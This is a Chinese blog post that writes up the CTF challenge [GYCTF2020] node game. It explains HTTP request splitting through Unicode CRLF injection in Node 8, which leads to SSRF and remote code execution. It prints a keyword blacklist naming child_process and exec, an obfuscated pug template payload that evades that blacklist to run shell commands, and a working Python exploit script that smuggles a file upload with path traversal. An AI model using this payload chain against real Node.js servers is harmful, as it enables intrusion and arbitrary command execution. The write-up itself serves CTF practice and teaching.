沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

通过HTTP请求拆分进行SSRF

0x00 前言


“HTTP请求拆分”感觉上就是“HTTP请求走私”中的一种,但在网上没查到将两者归类的说法,不太确定。但可以确定的是“HTTP请求拆分”是一种“CRLF(回车换行)”漏洞,这些将在后文细说。

本文主要是通过一道CTF题目(日常看WP都不会写)来切实感受一下这种攻击方式。

0x01 HTTP请求拆分


简介

顾名思义,这个攻击方式就是通过特殊方式将一个精心构造的HTTP请求拆分成多个请求,从而来实现访问有所限制的目录。因为是将一个请求变成了多个请求,所以我才说这和“HTTP请求走私”很类似,都是利用特殊方式来走私别的请求。

但是这和我之前所写过的基于CLTE的走私又有所不同,这里是通过CRLF注入进行攻击。

CRLF注入

CRLF即”回车换行”,利用回车换行。因为HTTP协议中是用回车换行来界定头部和实体的,所以如果我们可以用回车换行来恶意拆分请求或者响应(具体请看参考文章)。

假想

试想一下我们构造这样一个请求:

http://localhost/?q=空格+HTTP/1.1+回车换行+chenlvtang: test回车换行

那这个请求在服务器进行处理的时候会是怎样呢?我们先简单的假想服务器不会对回车换行进行转义,那么服务器将会把请求处理成下面这样子:

GET /?q= HTTP/1.1
chenlvtang: test
Host: test.hah

如果我们请求变成这样呢?

http://localhost/?q=空格+HTTP/1.1+回车换行+回车换行+GET /secret HTTP/1.1+回车换行+Host: test.hah+回车换行+chenlvtang: test+回车换行

这时候的假想的处理如下:

GET /?q= HTTP/1.1

GET /secret HTTP/1.1 
Host: test.hah
chenlvtang: test
Host: test.hah

我们可以惊奇的发现,成功走私一个请求🤩。这里多出来的一个Host: test.hah,是属于原来正常的请求的,所以我们最好把他弄掉,所以我们可以完善一下我们的请求。

将请求改为这样:

http://localhost/?q=空格HTTP/1.1+回车换行回车换行+GET /secret HTTP/1.1+回车换行+Host: test.hah+回车换行+chenlvtang: test+回车换行回车换行+GET /foobar HTTP/1.1+回车换行x:

那么新的假想处理就是:

GET /?q= HTTP/1.1

GET /secret HTTP/1.1 
Host: test.hah
chenlvtang: test

GET /foobar HTTP/1.1
X:Host: test.hah 

😲完美!!!可惜一切都是假想,实际上服务器都会对回车换行进行处理,但有时候处理的不完善也有可能出现此类漏洞

其实这里为什么一定要个x: 我也不太清楚,本来自己写的是没加的,感觉没加也可以闭合一个请求=。=但是跑脚本的时候会出错

0x02 攻击实例


这里以[GYCTF2020]node game进行实操,如果想复现的话,可以去BUUCTF平台

看题目

题目名字叫node game,显然是考查与 “node.js”相关的知识了。点进去有两个超文本链接,其中第一个可以查看源码。

image-20210308185950337

试试第二个链接,点进去是一个文件上传,名字告诉我们只能管理员才能使用,但我们还是上传看看。😅看来真的有限制,还是回去看源码吧。

image-20210308192830493

看源码

点第一个进去可以看到源码,但是是没有换行的,右键查看源代码,可以得到规整的源代码。代码太长太难看了,所以我只保留主要的代码

app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){//..
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name//...
            }})})

app.get('/source',function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});

app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
               	http.get(url, function(resp) {//注意这里
                    resp.setEncoding('utf8');});});} }} })

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

假装分析

/ 路由中,加上参数action,对目录穿越做了限制,但可以对/template目录下指定的文件进行渲染,并且用的是pug模板,所以我们大概就是要上传.pug文件来进行文件包含(如果你猜的出flag文件叫啥)或者RCE

可以看到/file_upload有对IP的限制,一般是要借助SSRF了,并且是POST请求。这里var file_path = '/uploads/' + req.files[0].mimetype +"/";中的mimetype我们可以通过Content-Type进行控制,如果改为../template,经过拼接后,文件的保存目录就会变成_dirname/uploads/../template/shell.pug。这样就可以保存到/template目录下,然后我们就可以通过上面的action进行渲染。

/core路由中,首先会对参数q的内容进行检查,如果通过了检查,就会通过内网URL发起一次GET请求/source目录。这里显然就可以进行SSRF(但是要有点特殊手法)

从面的分析可以看出,基本利用的过程就是: 利用SSRF请求/file_upload来上传文件==>/action=shell.pug来渲染文件来RCE。

但是有个难点,就是/core路由虽然用了“内网URL”,但绑定到了/source目录下,如何才能进行SSRF,并且还要通过POST请求/file_upload来上传文件。🤗好在题目用的是node8(据说比赛中有提示),而node8有个漏洞,就是我们上文所说的“HTTP请求拆分”。

谈谈Node.Js

实际上,node8有对回车换行(HTTP协议控制字符)进行处理

image-20210308211802868

但是它对Unicode编码的字符不会进行处理,因为他们并不是HTTP协议中的控制字符,但因为node.js默认使用latin1编码,所以它在处理高位unicode字符时会产生截断从而会让某些特定字符产生回车换行。

image-20210308212533053

在node10中,如果URL中含有非ASCII编码的字符,就会返回错误。

构造exp

首先,先初步写好shell.pug文件(自行参考文档)如下:

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('ls /').toString()")//为了过黑名单
-return x

然后上传,抓包,发送到repeater,修改一下Content-Type,然后发送,这时候BURP会帮你更行CL,复制文件上传部分(记得去掉不必要的首部)

image-20210308220926861

然后写个脚本(不是我的):

import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------41671423531508392532090664957
Content-Length: 350

-----------------------------41671423531508392532090664957
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('ls /').toString()")
-return x
-----------------------------41671423531508392532090664957--

GET /flag HTTP/1.1
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload) 
print(payload)
r = requests.get('http://5e5020f0-cba3-4d9e-98ff-81274c42ce13.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

然后访问/?action=shell

image-20210308221106779

要拿flag得话,自己照着步骤改下命令就行,另外说一下脚本使用的神奇编码方式我没太搞懂😅,它和参考文章的不同之处就是它全部编码了,长成这样:

image-20210308221407175

用node8解析一部分长这样:

image-20210308221953247

0x0 参考文章


[GYCTF2020]Node Game(CRLF头部注入) 过客

通过拆分攻击实现的SSRF攻击

CRLF Injection

Pug

赵师傅wp